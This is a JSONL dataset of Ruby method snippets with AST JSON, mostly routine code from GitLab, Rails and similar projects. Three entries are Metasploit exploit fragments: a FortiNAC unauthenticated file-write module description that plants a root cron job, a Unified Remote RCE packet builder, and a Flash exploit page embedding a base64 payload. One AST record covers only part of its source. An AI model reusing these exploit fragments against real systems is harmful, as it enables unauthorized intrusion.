{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/schema_cache_with_renamed_table.rb","start_line":33,"raw_source":"def indexes(pool, table_name)\n        super(pool, underlying_table(pool, table_name))\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"indexes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pool\"]},{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},{\"type\":\"send\",\"children\":[null,\"underlying_table\",{\"type\":\"lvar\",\"children\":[\"pool\"]},{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]}]}","id":"4032b336-9115-4f64-9dec-fc4486d8b205"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/pipeline/context.rb","start_line":29,"raw_source":"def group\n        @group ||= entity.group\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entity\"]},\"group\"]}]}]}","id":"4e2fbb19-8b58-4d13-8313-9539e4716732"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket_server/representation/pull_request_comment.rb","start_line":41,"raw_source":"def removed?\n        line_type == 'REMOVED'\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"removed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"line_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"REMOVED\"]}]}]}","id":"94c6367a-19b9-49e1-af40-535b190355b8"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":252,"raw_source":"def wonderful_life\n        @ran_filter ||= []\n        @ran_filter << \"wonderful_life\"\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"wonderful_life\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ran_filter\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ran_filter\"]},\"<<\",{\"type\":\"str\",\"children\":[\"wonderful_life\"]}]}]}]}","id":"33f392d9-e578-451c-a168-e068a9703400"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/fortinac_keyupload_file_write.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Fortinet FortiNAC keyUpload.jsp arbitrary file write',\n        'Description' => %q{\n          This module uploads a payload to the /tmp directory in addition to a cron job\n          to /etc/cron.d which executes the payload in the context of the root user.\n\n          The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which\n          is accessible remotely and without authentication. When you send the vulnerable\n          endpoint a ZIP file, it will extract an attacker controlled file to a directory\n          of the attackers choice on the target system.\n\n          This issue is exploitable on the following versions of FortiNAC:\n\n          FortiNAC version 9.4 prior to 9.4.1\n          FortiNAC version 9.2 prior to 9.2.6\n          FortiNAC version 9.1 prior to 9.1.8\n          FortiNAC 8.8 all versions\n          FortiNAC 8.7 all versions\n          FortiNAC 8.6 all versions\n          FortiNAC 8.5 all versions\n          FortiNAC 8.3 all versions\n        },\n        'Author' => [\n          'Gwendal Guégniaud', # discovery\n          'Zach Hanley',       # PoC\n          'jheysel-r7'         # module\n        ],\n        'References' => [\n          ['URL', 'https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/'],\n          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-300'],\n          ['URL', 'https://github.com/horizon3ai/CVE-2022-39952'],\n          ['URL', 'https://attackerkb.com/topics/9BvxYuiHYJ/cve-2022-39952'],\n          ['CVE', '2022-39952']\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => %w[linux unix],\n        'Privileged' => true,\n        'DefaultOptions' => {\n          'SSL' => true,\n          'RPORT' => 8443,\n          'WfsDelay' => '75'\n        },\n        'Arch' => [ ARCH_CMD, ARCH_X64, ARCH_X86 ],\n        'Targets' => [\n          [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],\n          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],\n          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2023-02-16',\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],\n          'Reliability' => [ REPEATABLE_SESSION ]\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Fortinet FortiNAC keyUpload.jsp arbitrary file write\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module uploads a payload to the /tmp directory in addition to a cron job\\n\"]},{\"type\":\"str\",\"children\":[\"          to /etc/cron.d which executes the payload in the context of the root user.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which\\n\"]},{\"type\":\"str\",\"children\":[\"          is accessible remotely and without authentication. When you send the vulnerable\\n\"]},{\"type\":\"str\",\"children\":[\"          endpoint a ZIP file, it will extract an attacker controlled file to a directory\\n\"]},{\"type\":\"str\",\"children\":[\"          of the attackers choice on the target system.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This issue is exploitable on the following versions of FortiNAC:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          FortiNAC version 9.4 prior to 9.4.1\\n\"]},{\"type\":\"str\",\"children\":[\"          FortiNAC version 9.2 prior to 9.2.6\\n\"]},{\"type\":\"str\",\"children\":[\"          FortiNAC version 9.1 prior to 9.1.8\\n\"]},{\"type\":\"str\",\"children\":[\"          FortiNAC 8.8 all versions\\n\"]},{\"type\":\"str\",\"children\":[\"          FortiNAC 8.7 all versions\\n\"]},{\"type\":\"str\",\"children\":[\"          FortiNAC 8.6 all versions\\n\"]},{\"type\":\"str\",\"children\":[\"          FortiNAC 8.5 all versions\\n\"]},{\"type\":\"str\",\"children\":[\"          FortiNAC 8.3 all versions\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Gwendal Guégniaud\"]},{\"type\":\"str\",\"children\":[\"Zach Hanley\"]},{\"type\":\"str\",\"children\":[\"jheysel-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.fortiguard.com/psirt/FG-IR-22-300\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/horizon3ai/CVE-2022-39952\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/9BvxYuiHYJ/cve-2022-39952\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-39952\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"str\",\"children\":[\"75\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CMD\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux x86\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux x64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2023-02-16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]}]}","id":"fb9d8bb3-abf9-4175-be7d-dc26b285a290"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/unified_remote_rce.rb","start_line":202,"raw_source":"def load_unified_command\n    # header: 00 00 00 5e\n    wait = \"\\x00\\x01\\x08\"\n    wait << \"Action\\x00\" # 416374696f6e 00\n    wait << \"\\x03\\x05\" # changed from the previous one from 07 to 03\n    wait << \"ID\\x00\" # 4944 00\n    wait << \"Unified.Command\\x00\" # 556e69666965642e436f6d6d616e64 00\n    wait << \"\\x02\"\n    wait << \"Layout\\x00\" # 4c61796f7574 00\n    wait << \"\\x03\"\n    wait << \"Hash\\x00\" # 48617368 00\n    wait << \"\\x9e\\xd0\\x99:\\x00\" # 9ed0993a 00\n    wait << \"\\x08\"\n    wait << \"Request\\x00\" # 52657175657374 00\n    wait << \"\\x03\\x05\" # changed from the previous one from 07 to 03\n    wait << \"Source\\x00\" # 536f7572636500\n    wait << \"#{@client_name}\\x00\"\n    wait << \"\\x00\"\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_unified_command\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Request\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0003\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Source\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client_name\"]}]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]}","id":"aa7237c4-062a-4ae1-b824-da1ceb9e7c2f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/repository.rb","start_line":665,"raw_source":"def update_branch(branch_name, user:, newrev:, oldrev:)\n        wrapped_gitaly_errors do\n          gitaly_operation_client.user_update_branch(branch_name, user, newrev, oldrev)\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_branch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch_name\"]},{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"newrev\"]},{\"type\":\"kwarg\",\"children\":[\"oldrev\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrapped_gitaly_errors\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitaly_operation_client\"]},\"user_update_branch\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"newrev\"]},{\"type\":\"lvar\",\"children\":[\"oldrev\"]}]}]}]}","id":"af426e0c-24b0-4d0a-a51d-ebd81144f2a5"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/render/render_api.rb","start_line":81,"raw_source":"def try_context_object\n              if params[:context]\n                context = parse_context\n                namespace = context[:namespace]\n\n                klass = if namespace == \"posts\"\n                          Message\n                        elsif SUPPORTED_CONTEXT_NAMESPACES.without(\"posts\").include?(namespace)\n                          namespace.camelcase.singularize.constantize\n                        end\n\n                return unless klass\n\n                klass.visible(current_user).find(context[:id])\n              end\n            end","complexity_score":27.3,"ast_json":"{\"type\":\"def\",\"children\":[\"try_context_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"context\",{\"type\":\"send\",\"children\":[null,\"parse_context\"]}]},{\"type\":\"lvasgn\",\"children\":[\"namespace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"==\",{\"type\":\"str\",\"children\":[\"posts\"]}]},{\"type\":\"const\",\"children\":[null,\"Message\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SUPPORTED_CONTEXT_NAMESPACES\"]},\"without\",{\"type\":\"str\",\"children\":[\"posts\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"camelcase\"]},\"singularize\"]},\"constantize\"]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"visible\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},null]}]}","id":"2c9d6b5c-b0b2-4347-9f11-41301997d32a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb","start_line":87,"raw_source":"def exploit_template(cli, target_info)\n    swf_random = \"#{rand_text_alpha(4 + rand(3))}.swf\"\n    target_payload = get_payload(cli, target_info)\n    b64_payload = Rex::Text.encode_base64(target_payload)\n    platform_id = 'win'\n    os_name = target_info[:os_name]\n\n    html_template = %Q|<html>\n    <body>\n    <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" />\n    <param name=\"movie\" value=\"<%=swf_random%>\" />\n    <param name=\"allowScriptAccess\" value=\"always\" />\n    <param name=\"FlashVars\" value=\"sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>\" />\n    <param name=\"Play\" value=\"true\" />\n    <embed type=\"application/x-shockwave-flash\" width=\"1\" height=\"1\" src=\"<%=swf_random%>\" allowScriptAccess=\"always\" FlashVars=\"sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>\" Play=\"true\"/>\n    </object>\n    </body>\n    </html>\n    |\n\n    return html_template, binding()\n  end","complexity_score":14.35,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_template\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"target_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"swf_random\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"str\",\"children\":[\".swf\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_payload\",{\"type\":\"send\",\"children\":[null,\"get_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"target_info\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"b64_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"target_payload\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"platform_id\",{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"lvasgn\",\"children\":[\"os_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html_template\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<html>\\n\"]},{\"type\":\"str\",\"children\":[\"    <body>\\n\"]},{\"type\":\"str\",\"children\":[\"    <object classid=\\\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\\\" codebase=\\\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\\\" width=\\\"1\\\" height=\\\"1\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"    <param name=\\\"movie\\\" value=\\\"<%=swf_random%>\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"    <param name=\\\"allowScriptAccess\\\" value=\\\"always\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"    <param name=\\\"FlashVars\\\" value=\\\"sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"    <param name=\\\"Play\\\" value=\\\"true\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"    <embed type=\\\"application/x-shockwave-flash\\\" width=\\\"1\\\" height=\\\"1\\\" src=\\\"<%=swf_random%>\\\" allowScriptAccess=\\\"always\\\" FlashVars=\\\"sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>\\\" Play=\\\"true\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"    </object>\\n\"]},{\"type\":\"str\",\"children\":[\"    </body>\\n\"]},{\"type\":\"str\",\"children\":[\"    </html>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_template\"]},{\"type\":\"send\",\"children\":[null,\"binding\"]}]}]}]}","id":"1965f7ef-26e3-468b-bcc1-11a7633234c8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/filters/shared/project_filter/required.rb","start_line":32,"raw_source":"def self.included(base)\n    base.include(InstanceMethods)\n    base.extend(ClassMethods)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"include\",{\"type\":\"const\",\"children\":[null,\"InstanceMethods\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ClassMethods\"]}]}]}]}","id":"76b51bb9-22a8-48c3-8a3f-938a0ef22827"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/organizations/organization.rb","start_line":130,"raw_source":"def root_path\n      return organization_root_path(self) if scoped_paths?\n\n      unscoped_root_path\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"root_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scoped_paths?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organization_root_path\",{\"type\":\"self\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"unscoped_root_path\"]}]}]}","id":"df2c13b9-6a7e-4487-9b61-ec6117f9f249"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/models/user_spec.rb","start_line":1948,"raw_source":"def hash(password, salt, algorithm = UserPassword::TARGET_PASSWORD_ALGORITHM)\n      User.new.send(:hash_password, password, salt, algorithm)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"password\"]},{\"type\":\"arg\",\"children\":[\"salt\"]},{\"type\":\"optarg\",\"children\":[\"algorithm\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserPassword\"]},\"TARGET_PASSWORD_ALGORITHM\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"new\"]},\"send\",{\"type\":\"sym\",\"children\":[\"hash_password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"salt\"]},{\"type\":\"lvar\",\"children\":[\"algorithm\"]}]}]}","id":"1cdb3083-261e-43ce-b08a-b2d5d6b0012a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups_controller.rb","start_line":66,"raw_source":"def index\n    redirect_to(current_user ? dashboard_groups_path : explore_groups_path)\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"dashboard_groups_path\"]},{\"type\":\"send\",\"children\":[null,\"explore_groups_path\"]}]}]}]}","id":"5a79196f-1be4-40ef-ac30-0447f171f80c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2600,"raw_source":"def missing_required_squash?\n    !squash && squash_always?\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"missing_required_squash?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"squash\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"squash_always?\"]}]}]}","id":"d587e9e2-1eea-4dcd-b1d1-bbabbb39a3d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/template/finders/global_template_finder.rb","start_line":46,"raw_source":"def excluded?(file_name)\n          @excluded_patterns.any? { |pattern| pattern.match?(file_name) }\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"excluded?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@excluded_patterns\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]}","id":"cb5a4154-f5b8-4c9c-8723-dfde8bc3f5af"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/ownership_mixin.rb","start_line":80,"raw_source":"def user_or_group_owned(user, miq_group)\n      if user && miq_group\n        user_owned(user).or(group_owned(miq_group))\n      elsif user\n        user_owned(user)\n      elsif miq_group\n        group_owned(miq_group)\n      else\n        none\n      end\n    end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"user_or_group_owned\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"miq_group\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"miq_group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_owned\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"or\",{\"type\":\"send\",\"children\":[null,\"group_owned\",{\"type\":\"lvar\",\"children\":[\"miq_group\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user_owned\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_group\"]},{\"type\":\"send\",\"children\":[null,\"group_owned\",{\"type\":\"lvar\",\"children\":[\"miq_group\"]}]},{\"type\":\"send\",\"children\":[null,\"none\"]}]}]}]}]}","id":"1d932db5-dbd6-434b-a580-d2e5c7dc02c7"}
